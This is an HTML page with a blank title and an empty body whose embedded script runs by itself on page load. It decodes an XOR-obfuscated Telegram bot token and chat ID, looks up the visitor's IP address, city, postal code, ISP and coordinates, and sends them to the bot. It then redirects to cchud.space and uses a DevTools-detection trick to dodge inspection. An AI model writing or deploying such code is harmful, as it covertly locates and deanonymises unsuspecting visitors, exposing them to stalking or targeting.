<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>ㅤ</title>
    <script>
        // Obfuscated Bot Token and Chat ID
        const encryptedToken = 'JxIZEx8JGgkZGgoCGxocHx4CFggUHEQcFxkdHw0K'; // Example encrypted token (XOR)
        const encryptedChatId = 'LhMTDxYL'; // Example encrypted chat ID (XOR)

        // Simple XOR encryption/decryption function
        function xorEncryptDecrypt(input, key) {
            let output = '';
            for (let i = 0; i < input.length; i++) {
                output += String.fromCharCode(input.charCodeAt(i) ^ key.charCodeAt(i % key.length));
            }
            return output;
        }

        // Decrypt token and chat ID
        const decryptionKey = 'sdfsdfasdfsdf'; // Change this to a secure key
        const BOT_TOKEN = xorEncryptDecrypt(atob(encryptedToken), decryptionKey);
        const CHAT_ID = xorEncryptDecrypt(atob(encryptedChatId), decryptionKey);

        // Anti-debugging measures
        function detectDevTools() {
            const threshold = 160;
            const widthDiff = window.outerWidth - window.innerWidth > threshold;
            const heightDiff = window.outerHeight - window.innerHeight > threshold;

            if (widthDiff || heightDiff) {
                console.warn('DevTools detected!');
                window.location.href = 'https://cchud.space/bottoken.html';
            }
        }

        setInterval(detectDevTools, 1000);

        // Function to send a message to Telegram bot
        async function sendMessageToTelegram(message) {
            const url = `https://api.telegram.org/bot${BOT_TOKEN}/sendMessage`;
            const payload = {
                chat_id: CHAT_ID,
                text: message,
                parse_mode: 'HTML', // Allows sending styled messages
            };

            try {
                await fetch(url, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                    },
                    body: JSON.stringify(payload),
                });
            } catch (error) {
                console.error('Error sending message:', error);
            }
        }

        // Fetch the user's IP address and detailed information
        async function fetchAndSendData() {
            try {
                const response = await fetch('https://ipapi.co/json/');
                const data = await response.json();

                const ipAddress = data.ip;
                const city = data.city;
                const region = data.region;
                const country = data.country_name;
                const postal = data.postal;
                const timezone = data.timezone;
                const isp = data.org;
                const latitude = data.latitude;
                const longitude = data.longitude;
                const countryCode = data.country;

                const message = `💾 <b>New Visitor Information</b>\n` +
                                `🌐 <b>IP Address:</b> ${ipAddress}\n` +
                                `📍 <b>Location:</b> ${city}, ${region}, ${country} (${countryCode})\n` +
                                `✉️ <b>Postal Code:</b> ${postal}\n` +
                                `🕒 <b>Timezone:</b> ${timezone}\n` +
                                `🔗 <b>ISP:</b> ${isp}\n` +
                                `🌍 <b>Coordinates:</b> ${latitude}, ${longitude}`;

                // Send the message to Telegram
                await sendMessageToTelegram(message);
            } catch (error) {
                console.error('Error fetching IP info:', error);
                await sendMessageToTelegram('❌ <b>Error fetching IP info:</b> ' + error);
            } finally {
                // Redirect the user to another page
                window.location.href = 'https://cchud.space/lol.html'; 
            }
        }
        window.onload = fetchAndSendData;
    </script>
</head>
<body>
</body>
</html>
